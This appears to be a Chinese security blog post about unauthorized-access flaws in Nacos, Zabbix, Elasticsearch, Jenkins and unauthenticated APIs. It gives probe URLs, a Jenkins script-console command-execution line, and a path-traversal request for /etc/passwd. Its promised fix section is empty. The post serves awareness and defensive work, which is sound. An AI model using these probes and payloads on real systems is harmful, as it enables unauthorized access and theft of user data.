漏洞描述：

一些通用的CMS存在通用未授权访问漏洞，导致攻击者可以直接访问，从而引发重要权限可被操作、数据库、网站目录等敏感信息泄露。

上周参加了本省某行业的攻防演练比赛，此种漏洞是很普遍，也是容易被忽略的问题，本文就带大家直击这些漏洞，然后认识并指导如何防御。

主要类型有：

nacos 未授权访问漏洞

访问未授权地址https://xxx.xx.x.x/nacos/v1/auth/users?pageNo=1&pageSize=9 成功未授权查看用户列表信息

案例2

zabbix未授权访问

访问未授权地址https://xxx.xx.x.x/zabbix.php?action=problem.view&ddreset=1 可未授权访问后台

案例3

Elasticsearch 未授权访问漏洞

访问未授权地址https://xxx.xx.x.x/_nodes 查看节点数据

案例4

Jenkins 未授权访问漏洞

访问未授权地址https://xxx.xx.x.x/manage/

访问未授权地址https://xxx.xx.x.x/script/ 可以执行系统命令：println "whoami".execute().text

案例5

Elasticsearch 未授权访问漏洞

访问测试网站，出现该以下关键字

访问下列api接口 /_plugin/head/ web管理界面 /_cat/indices /_river/_search 查看数据库敏感信息 /_nodes 查看节点数据

接口未授权

漏洞描述：

开发者设计接口的时候没有对某些接口进行鉴权，导致攻击者可以恶意拼接接口绕过限制去直接访问某些路径，非法获取数据。

案例1

访问接口未授权的地址：http://xxx.xx/xxx/readfile.php?file=../../../../../etc/passwd

案例2

访问泄露的接口之后发现未授权信息泄漏 http://xxx.xx.x.xxx//api/basetynfo/tutorRdfecruitManage/selectTgrgutorList

案例3

访问接口未授权的地址可未授权查看用户名，手机号等信息

案例4

通过拼接接口：http://xxx.xx.xx.xx/api/system/user/detail/1 未授权访问接口获取admin手机号密码等信息

案例5

通过拼接接口：https://xx.xxx.xxxx/api/v3.0/LoginLog/Pageing

漏洞修复方案

推荐站内搜索：最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……

周飒博客-ZhouSa.com

通用未授权访问漏洞是什么，应该如何防护？